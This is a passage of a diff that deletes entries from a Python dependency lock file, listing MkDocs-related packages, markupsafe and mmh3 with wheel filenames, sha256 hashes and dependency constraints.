"sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, - {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, - {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, -] - -[[package]] -name = "mergedeep" -version = "1.3.4" -description = "A deep merge function for 🐍." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307"}, - {file = "mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8"}, -] - -[[package]] -name = "mike" -version = "2.1.3" -description = "Manage multiple versions of your MkDocs-powered documentation" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a"}, - {file = "mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810"}, -] - -[package.dependencies] -importlib-metadata = "*" -importlib-resources = "*" -jinja2 = ">=2.7" -mkdocs = ">=1.0" -pyparsing = ">=3.0" -pyyaml = ">=5.1" -pyyaml-env-tag = "*" -verspec = "*" - -[package.extras] -dev = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] -test = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] - -[[package]] -name = "mkdocs" -version = "1.6.1" -description = "Project documentation with Markdown." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e"}, - {file = "mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2"}, -] - -[package.dependencies] -click = ">=7.0" -colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""} -ghp-import = ">=1.0" -importlib-metadata = {version = ">=4.4", markers = "python_version < \"3.10\""} -jinja2 = ">=2.11.1" -markdown = ">=3.3.6" -markupsafe = ">=2.0.1" -mergedeep = ">=1.3.4" -mkdocs-get-deps = ">=0.2.0" -packaging = ">=20.5" -pathspec = ">=0.11.1" -pyyaml = ">=5.1" -pyyaml-env-tag = ">=0.1" -watchdog = ">=2.0" - -[package.extras] -i18n = ["babel (>=2.9.0)"] -min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform_system == \"Windows\"", "ghp-import (==1.0)", "importlib-metadata (==4.4) ; python_version < \"3.10\"", "jinja2 (==2.11.1)", "markdown (==3.3.6)", "markupsafe (==2.0.1)", "mergedeep (==1.3.4)", "mkdocs-get-deps (==0.2.0)", "packaging (==20.5)", "pathspec (==0.11.1)", "pyyaml (==5.1)", "pyyaml-env-tag (==0.1)", "watchdog (==2.0)"] - -[[package]] -name = "mkdocs-autorefs" -version = "1.4.3" -description = "Automatically link across pages in MkDocs." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocs_autorefs-1.4.3-py3-none-any.whl", hash = "sha256:469d85eb3114801d08e9cc55d102b3ba65917a869b893403b8987b601cf55dc9"}, - {file = "mkdocs_autorefs-1.4.3.tar.gz", hash = "sha256:beee715b254455c4aa93b6ef3c67579c399ca092259cc41b7d9342573ff1fc75"}, -] - -[package.dependencies] -Markdown = ">=3.3" -markupsafe = ">=2.0.1" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-extra-sass-plugin" -version = "0.1.0" -description = "This plugin adds stylesheets to your mkdocs site from `Sass`/`SCSS`." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219"}, - {file = "mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db"}, -] - -[package.dependencies] -beautifulsoup4 = ">=4.6.3" -libsass = ">=0.15" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-get-deps" -version = "0.2.0" -description = "MkDocs extension that lists all dependencies according to a mkdocs.yml file" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134"}, - {file = "mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c"}, -] - -[package.dependencies] -importlib-metadata = {version = ">=4.3", markers = "python_version < \"3.10\""} -mergedeep = ">=1.3.4" -platformdirs = ">=2.2.0" -pyyaml = ">=5.1" - -[[package]] -name = "mkdocs-material" -version = "9.7.2" -description = "Documentation that simply works" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material-9.7.2-py3-none-any.whl", hash = "sha256:9bf6f53452d4a4d527eac3cef3f92b7b6fc4931c55d57766a7d87890d47e1b92"}, - {file = "mkdocs_material-9.7.2.tar.gz", hash = "sha256:6776256552290b9b7a7aa002780e25b1e04bc9c3a8516b6b153e82e16b8384bd"}, -] - -[package.dependencies] -babel = ">=2.10" -backrefs = ">=5.7.post1" -colorama = ">=0.4" -jinja2 = ">=3.1" -markdown = ">=3.2" -mkdocs = ">=1.6" -mkdocs-material-extensions = ">=1.3" -paginate = ">=0.5" -pygments = ">=2.16" -pymdown-extensions = ">=10.2" -requests = ">=2.30" - -[package.extras] -git = ["mkdocs-git-committers-plugin-2 (>=1.1)", "mkdocs-git-revision-date-localized-plugin (>=1.2.4)"] -imaging = ["cairosvg (>=2.6)", "pillow (>=10.2)"] -recommended = ["mkdocs-minify-plugin (>=0.7)", "mkdocs-redirects (>=1.2)", "mkdocs-rss-plugin (>=1.6)"] - -[[package]] -name = "mkdocs-material-extensions" -version = "1.3.1" -description = "Extension pack for Python Markdown and MkDocs Material." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31"}, - {file = "mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443"}, -] - -[[package]] -name = "mkdocstrings" -version = "0.30.1" -description = "Automatic documentation from sources, for MkDocs." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82"}, - {file = "mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f"}, -] - -[package.dependencies] -importlib-metadata = {version = ">=4.6", markers = "python_version < \"3.10\""} -Jinja2 = ">=2.11.1" -Markdown = ">=3.6" -MarkupSafe = ">=1.1" -mkdocs = ">=1.6" -mkdocs-autorefs = ">=1.4" -pymdown-extensions = ">=6.3" - -[package.extras] -crystal = ["mkdocstrings-crystal (>=0.3.4)"] -python = ["mkdocstrings-python (>=1.16.2)"] -python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"] - -[[package]] -name = "mkdocstrings-python" -version = "1.18.2" -description = "A Python handler for mkdocstrings." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "mkdocstrings_python-1.18.2-py3-none-any.whl", hash = "sha256:944fe6deb8f08f33fa936d538233c4036e9f53e840994f6146e8e94eb71b600d"}, - {file = "mkdocstrings_python-1.18.2.tar.gz", hash = "sha256:4ad536920a07b6336f50d4c6d5603316fafb1172c5c882370cbbc954770ad323"}, -] - -[package.dependencies] -griffe = ">=1.13" -mkdocs-autorefs = ">=1.4" -mkdocstrings = ">=0.30" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[[package]] -name = "mkdocstrings-python" -version = "1.19.0" -description = "A Python handler for mkdocstrings." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "mkdocstrings_python-1.19.0-py3-none-any.whl", hash = "sha256:395c1032af8f005234170575cc0c5d4d20980846623b623b35594281be4a3059"}, - {file = "mkdocstrings_python-1.19.0.tar.gz", hash = "sha256:917aac66cf121243c11db5b89f66b0ded6c53ec0de5318ff5e22424eb2f2e57c"}, -] - -[package.dependencies] -griffe = ">=1.13" -mkdocs-autorefs = ">=1.4" -mkdocstrings = ">=0.30" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[[package]] -name = "mmh3" -version = "5.2.0" -description = "Python extension for MurmurHash (MurmurHash3), a set of fast and robust hash functions." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc"}, - {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328"}, - {file = "mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106"}, - {file = "mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d"}, - {file = "mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb"}, - {file = "mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2"}, - {file = "mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28"}, - {file = "mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee"}, - {file = "mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4a2f3d83879e3de2eb8cbf562e71563a8ed15ee9b9c2e77ca5d9f73072ac15c"}, - {file = "mmh3-5.2.0-cp312-cp312-win32.whl", hash = "sha256:2421b9d665a0b1ad724ec7332fb5a98d075f50bc51a6ff854f3a1882bd650d49"}, - {file = "mmh3-5.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:72d80005b7634a3a2220f81fbeb94775ebd12794623bb2e1451701ea732b4aa3"}, - {file = "mmh3-5.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:3d6bfd9662a20c054bc216f861fa330c2dac7c81e7fb8307b5e32ab5b9b4d2e0"}, - {file = "mmh3-5.2.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:e79c00eba78f7258e5b354eccd4d7907d60317ced924ea4a5f2e9d83f5453065"}, - {file = "mmh3-5.2.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:956127e663d05edbeec54df38885d943dfa27406594c411139690485128525de"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c3dca4cb5b946ee91b3d6bb700d137b1cd85c20827f89fdf9c16258253489044"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e651e17bfde5840e9e4174b01e9e080ce49277b70d424308b36a7969d0d1af73"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:9f64bf06f4bf623325fda3a6d02d36cd69199b9ace99b04bb2d7fd9f89688504"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ddc63328889bcaee77b743309e5c7d2d52cee0d7d577837c91b6e7cc9e755e0b"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bb0fdc451fb6d86d81ab8f23d881b8d6e37fc373a2deae1c02d27002d2ad7a05"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b29044e1ffdb84fe164d0a7ea05c7316afea93c00f8ed9449cf357c36fc4f814"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:58981d6ea9646dbbf9e59a30890cbf9f610df0e4a57dbfe09215116fd90b0093"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e5634565367b6d98dc4aa2983703526ef556b3688ba3065edb4b9b90ede1c54"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0271ac12415afd3171ab9a3c7cbfc71dee2c68760a7dc9d05bf8ed6ddfa3a7a"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:45b590e31bc552c6f8e2150ff1ad0c28dd151e9f87589e7eaf508fbdd8e8e908"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bdde97310d59604f2a9119322f61b31546748499a21b44f6715e8ced9308a6c5"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc9c5f280438cf1c1a8f9abb87dc8ce9630a964120cfb5dd50d1e7ce79690c7a"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c903e71fd8debb35ad2a4184c1316b3cb22f64ce517b4e6747f25b0a34e41266"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:eed4bba7ff8a0d37106ba931ab03bdd3915fbb025bcf4e1f0aa02bc8114960c5"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:1fdb36b940e9261aff0b5177c5b74a36936b902f473180f6c15bde26143681a9"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7303aab41e97adcf010a09efd8f1403e719e59b7705d5e3cfed3dd7571589290"}, - {file = "mmh3-5.2.0-cp313-cp313-win32.whl", hash = "sha256:03e08c6ebaf666ec1e3d6ea657a2d363bb01effd1a9acfe41f9197decaef0051"}, - {file = "mmh3-5.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:7fddccd4113e7b736706e17a239a696332360cbaddf25ae75b57ba1acce65081"}, - {file = "mmh3-5.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa0c966ee727aad5406d516375593c5f058c766b21236ab8985693934bb5085b"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e5015f0bb6eb50008bed2d4b1ce0f2a294698a926111e4bb202c0987b4f89078"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e0f3ed828d709f5b82d8bfe14f8856120718ec4bd44a5b26102c3030a1e12501"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:f35727c5118aba95f0397e18a1a5b8405425581bfe53e821f0fb444cbdc2bc9b"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3bc244802ccab5220008cb712ca1508cb6a12f0eb64ad62997156410579a1770"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ff3d50dc3fe8a98059f99b445dfb62792b5d006c5e0b8f03c6de2813b8376110"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:37a358cc881fe796e099c1db6ce07ff757f088827b4e8467ac52b7a7ffdca647"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b9a87025121d1c448f24f27ff53a5fe7b6ef980574b4a4f11acaabe702420d63"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ba55d6ca32eeef8b2625e1e4bfc3b3db52bc63014bd7e5df8cc11bf2b036b12"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9ff37ba9f15637e424c2ab57a1a590c52897c845b768e4e0a4958084ec87f22"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a094319ec0db52a04af9fdc391b4d39a1bc72bc8424b47c4411afb05413a44b5"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5584061fd3da584659b13587f26c6cad25a096246a481636d64375d0c1f6c07"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecbfc0437ddfdced5e7822d1ce4855c9c64f46819d0fdc4482c53f56c707b935"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7b986d506a8e8ea345791897ba5d8ba0d9d8820cd4fc3e52dbe6de19388de2e7"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:38d899a156549da8ef6a9f1d6f7ef231228d29f8f69bce2ee12f5fba6d6fd7c5"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d86651fa45799530885ba4dab3d21144486ed15285e8784181a0ab37a4552384"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c463d7c1c4cfc9d751efeaadd936bbba07b5b0ed81a012b3a9f5a12f0872bd6e"}, - {file = 